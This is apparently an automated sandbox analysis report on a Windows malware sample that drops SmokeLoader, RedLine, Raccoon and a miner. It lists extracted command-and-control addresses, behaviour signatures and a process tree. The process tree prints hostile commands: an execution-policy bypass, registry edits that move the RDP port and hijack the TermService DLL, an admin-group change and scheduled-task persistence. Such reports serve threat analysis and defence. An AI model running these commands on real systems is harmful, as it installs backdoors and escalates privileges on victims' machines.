Analysis

  • max time kernel
    151s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    24-09-2021 21:55

General

  • Target

    e498ee51d574ae0719fee5da8afb627adc25b946c179815904a65ad4364d0c4a.exe

  • Size

    286KB

  • MD5

    68ea7b6eb8bd48a2606c8cf073867a83

  • SHA1

    ec78be2637220d1b6572a9db7b6cd8284fd1b2a4

  • SHA256

    e498ee51d574ae0719fee5da8afb627adc25b946c179815904a65ad4364d0c4a

  • SHA512

    040c0c67c858059bf801a7a4b8f6b82fe89ce053b0654d098f3ecefba3f0a82539251e508c888dc54d6e16b8174089891d997a5d03df1cdc5bf41f58804496ac

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

700$

C2

65.21.231.57:60751

Extracted

Family

redline

C2

178.132.3.103:80

Extracted

Family

raccoon

Botnet

f6d7183c9e82d2a9b81e6c0608450aa66cefb51f

Attributes
  • url4cnc

    https://t.me/justoprostohello

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

2k superstar

C2

185.244.180.224:39957

Extracted

Family

raccoon

Botnet

d4d8e30c16491ca1c11f7aa675764335342faedf

Attributes
  • url4cnc

    https://t.me/hcdrom1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

    suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

  • suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 2 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e498ee51d574ae0719fee5da8afb627adc25b946c179815904a65ad4364d0c4a.exe
    "C:\Users\Admin\AppData\Local\Temp\e498ee51d574ae0719fee5da8afb627adc25b946c179815904a65ad4364d0c4a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Users\Admin\AppData\Local\Temp\e498ee51d574ae0719fee5da8afb627adc25b946c179815904a65ad4364d0c4a.exe
      "C:\Users\Admin\AppData\Local\Temp\e498ee51d574ae0719fee5da8afb627adc25b946c179815904a65ad4364d0c4a.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:804
  • C:\Users\Admin\AppData\Local\Temp\D9F0.exe
    C:\Users\Admin\AppData\Local\Temp\D9F0.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2060
  • C:\Users\Admin\AppData\Local\Temp\DDB9.exe
    C:\Users\Admin\AppData\Local\Temp\DDB9.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2656
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3748
  • C:\Users\Admin\AppData\Local\Temp\EE54.exe
    C:\Users\Admin\AppData\Local\Temp\EE54.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3956
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2116
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1ez5qfc3\1ez5qfc3.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4316
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES425E.tmp" "c:\Users\Admin\AppData\Local\Temp\1ez5qfc3\CSCFB9CD46ACCC74A099EECC47747E335D2.TMP"
          4⤵
            PID:4420
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
            PID:4776
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
              PID:3716
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              3⤵
                PID:4528
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
                3⤵
                  PID:1836
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                  3⤵
                  • Modifies registry key
                  PID:4716
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                  3⤵
                    PID:4588
                  • C:\Windows\SysWOW64\net.exe
                    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    3⤵
                      PID:4572
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                        4⤵
                          PID:3692
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                        3⤵
                          PID:4892
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c net start rdpdr
                            4⤵
                              PID:4936
                              • C:\Windows\SysWOW64\net.exe
                                net start rdpdr
                                5⤵
                                  PID:5028
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 start rdpdr
                                    6⤵
                                      PID:5052
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                                3⤵
                                  PID:5080
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /c net start TermService
                                    4⤵
                                      PID:5096
                                      • C:\Windows\SysWOW64\net.exe
                                        net start TermService
                                        5⤵
                                          PID:5112
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 start TermService
                                            6⤵
                                              PID:4900
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                        3⤵
                                          PID:5004
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                          3⤵
                                            PID:4432
                                      • C:\Users\Admin\AppData\Local\Temp\F7DB.exe
                                        C:\Users\Admin\AppData\Local\Temp\F7DB.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Suspicious use of WriteProcessMemory
                                        PID:3188
                                        • C:\Users\Admin\AppData\Local\Temp\j130t6D6Pk.exe
                                          "C:\Users\Admin\AppData\Local\Temp\j130t6D6Pk.exe"
                                          2⤵
                                          • Executes dropped EXE
                                          • Suspicious use of WriteProcessMemory
                                          PID:4524
                                          • C:\Windows\SysWOW64\schtasks.exe
                                            /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"
                                            3⤵
                                            • Creates scheduled task(s)
                                            PID:4692
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\F7DB.exe"
                                          2⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:4548
                                          • C:\Windows\SysWOW64\timeout.exe
                                            timeout /T 10 /NOBREAK
                                            3⤵
                                            • Delays execution with timeout.exe
                                            PID:4588
                                      • C:\Users\Admin\AppData\Local\Temp\FF1F.exe
                                        C:\Users\Admin\AppData\Local\Temp\FF1F.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3424
                                      • C:\Users\Admin\AppData\Local\Temp\7DB.exe
                                        C:\Users\Admin\AppData\Local\Temp\7DB.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Drops startup file
                                        • Adds Run key to start application
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:648
                                      • C:\Users\Admin\AppData\Local\Temp\129A.exe
                                        C:\Users\Admin\AppData\Local\Temp\129A.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Checks BIOS information in registry
                                        • Checks whether UAC is enabled
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        PID:3600
                                      • C:\Users\Admin\AppData\Local\Temp\1829.exe
                                        C:\Users\Admin\AppData\Local\Temp\1829.exe
                                        1⤵
                                        • Executes dropped EXE
                                        PID:2692
                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe
                                        C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe
                                        1⤵
                                        • Executes dropped EXE
                                        PID:4192
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"
                                          2⤵
                                          • Creates scheduled task(s)
                                          PID:4236

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • memory/632-114-0x0000000000030000-0x0000000000039000-memory.dmp

                                        Filesize

                                        36KB

                                      • memory/648-253-0x000000001BF50000-0x000000001BF52000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/648-182-0x0000000000460000-0x0000000000461000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/804-115-0x0000000000400000-0x0000000000409000-memory.dmp

                                        Filesize

                                        36KB

                                      • memory/2060-148-0x00000000005A0000-0x00000000005D0000-memory.dmp

                                        Filesize

                                        192KB

                                      • memory/2060-146-0x0000000002170000-0x000000000218F000-memory.dmp

                                        Filesize

                                        124KB

                                      • memory/2060-147-0x0000000004AC0000-0x0000000004AC1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2060-153-0x0000000002490000-0x00000000024AE000-memory.dmp

                                        Filesize

                                        120KB

                                      • memory/2060-239-0x0000000007290000-0x0000000007291000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2060-169-0x0000000002544000-0x0000000002546000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2060-167-0x0000000002542000-0x0000000002543000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2060-171-0x0000000002543000-0x0000000002544000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2060-155-0x0000000000400000-0x00000000004BF000-memory.dmp

                                        Filesize

                                        764KB

                                      • memory/2060-163-0x0000000002540000-0x0000000002541000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2116-214-0x00000000078E0000-0x00000000078E1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2116-1271-0x000000007F080000-0x000000007F081000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2116-225-0x0000000007F90000-0x0000000007F91000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2116-220-0x00000000080F0000-0x00000000080F1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2116-218-0x00000000077B0000-0x00000000077B1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2116-217-0x0000000007710000-0x0000000007711000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2116-216-0x00000000072A2000-0x00000000072A3000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2116-215-0x00000000072A0000-0x00000000072A1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2116-274-0x00000000072A3000-0x00000000072A4000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2116-213-0x0000000004CE0000-0x0000000004CE1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2116-234-0x0000000008810000-0x0000000008811000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2428-117-0x0000000000410000-0x0000000000426000-memory.dmp

                                        Filesize

                                        88KB

                                      • memory/2656-125-0x00000000004F0000-0x00000000004F1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2656-127-0x0000000002680000-0x00000000026C3000-memory.dmp

                                        Filesize

                                        268KB

                                      • memory/2656-124-0x0000000000360000-0x00000000003D4000-memory.dmp

                                        Filesize

                                        464KB

                                      • memory/2656-126-0x0000000074BF0000-0x0000000074DB2000-memory.dmp

                                        Filesize

                                        1.8MB

                                      • memory/2656-128-0x00000000008D0000-0x00000000008D1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2692-224-0x0000000000400000-0x0000000002BD0000-memory.dmp

                                        Filesize

                                        39.8MB

                                      • memory/2692-221-0x0000000002E80000-0x0000000002F10000-memory.dmp

                                        Filesize

                                        576KB

                                      • memory/3188-184-0x0000000000400000-0x0000000002BD0000-memory.dmp

                                        Filesize

                                        39.8MB

                                      • memory/3188-177-0x0000000002BD0000-0x0000000002D1A000-memory.dmp

                                        Filesize

                                        1.3MB

                                      • memory/3424-204-0x0000000004B83000-0x0000000004B84000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3424-202-0x0000000004B82000-0x0000000004B83000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3424-196-0x0000000000400000-0x0000000002BA3000-memory.dmp

                                        Filesize

                                        39.6MB

                                      • memory/3424-188-0x0000000004B60000-0x0000000004B7E000-memory.dmp

                                        Filesize

                                        120KB

                                      • memory/3424-186-0x00000000048B0000-0x00000000048CF000-memory.dmp

                                        Filesize

                                        124KB

                                      • memory/3424-185-0x00000000001C0000-0x00000000001F0000-memory.dmp

                                        Filesize

                                        192KB

                                      • memory/3424-198-0x0000000004B84000-0x0000000004B86000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3424-201-0x0000000004B80000-0x0000000004B81000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3600-197-0x0000000000ED0000-0x00000000013B6000-memory.dmp

                                        Filesize

                                        4.9MB

                                      • memory/3600-209-0x0000000000ED0000-0x00000000013B6000-memory.dmp

                                        Filesize

                                        4.9MB

                                      • memory/3600-208-0x00000000779F0000-0x0000000077B7E000-memory.dmp

                                        Filesize

                                        1.6MB

                                      • memory/3716-571-0x0000000000D70000-0x0000000000D71000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3716-572-0x0000000000D72000-0x0000000000D73000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3716-595-0x000000007FCD0000-0x000000007FCD1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3748-141-0x0000000004F60000-0x0000000004F61000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3748-132-0x0000000000540000-0x0000000000562000-memory.dmp

                                        Filesize

                                        136KB

                                      • memory/3748-138-0x0000000000540000-0x0000000000541000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3748-231-0x0000000006670000-0x0000000006671000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3748-145-0x0000000004AC0000-0x0000000004AC1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3748-227-0x0000000005F70000-0x0000000005F71000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3748-170-0x0000000004950000-0x0000000004F56000-memory.dmp

                                        Filesize

                                        6.0MB

                                      • memory/3748-173-0x0000000004A30000-0x0000000004A31000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3748-152-0x00000000049F0000-0x00000000049F1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3748-144-0x0000000004990000-0x0000000004991000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3956-166-0x00000000089F0000-0x00000000089F1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3956-161-0x00000000036E0000-0x0000000003AE2000-memory.dmp

                                        Filesize

                                        4.0MB

                                      • memory/3956-149-0x0000000000400000-0x0000000002F86000-memory.dmp

                                        Filesize

                                        43.5MB

                                      • memory/3956-158-0x0000000007CD3000-0x0000000007CD4000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3956-151-0x0000000007CD0000-0x0000000007CD1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3956-156-0x0000000007CD2000-0x0000000007CD3000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3956-150-0x00000000080F0000-0x00000000084EF000-memory.dmp

                                        Filesize

                                        4.0MB

                                      • memory/3956-172-0x0000000007CD4000-0x0000000007CD5000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3956-176-0x0000000008BD0000-0x0000000008BD1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3956-179-0x000000000A9B0000-0x000000000A9B1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4192-1143-0x0000000000400000-0x0000000002B90000-memory.dmp

                                        Filesize

                                        39.6MB

                                      • memory/4524-295-0x0000000000030000-0x0000000000034000-memory.dmp

                                        Filesize

                                        16KB

                                      • memory/4524-298-0x0000000000400000-0x0000000002B90000-memory.dmp

                                        Filesize

                                        39.6MB

                                      • memory/4528-824-0x0000000006740000-0x0000000006741000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4528-825-0x0000000006742000-0x0000000006743000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4528-864-0x000000007F480000-0x000000007F481000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4776-314-0x0000000006EC2000-0x0000000006EC3000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4776-341-0x000000007F520000-0x000000007F521000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4776-313-0x0000000006EC0000-0x0000000006EC1000-memory.dmp

                                        Filesize

                                        4KB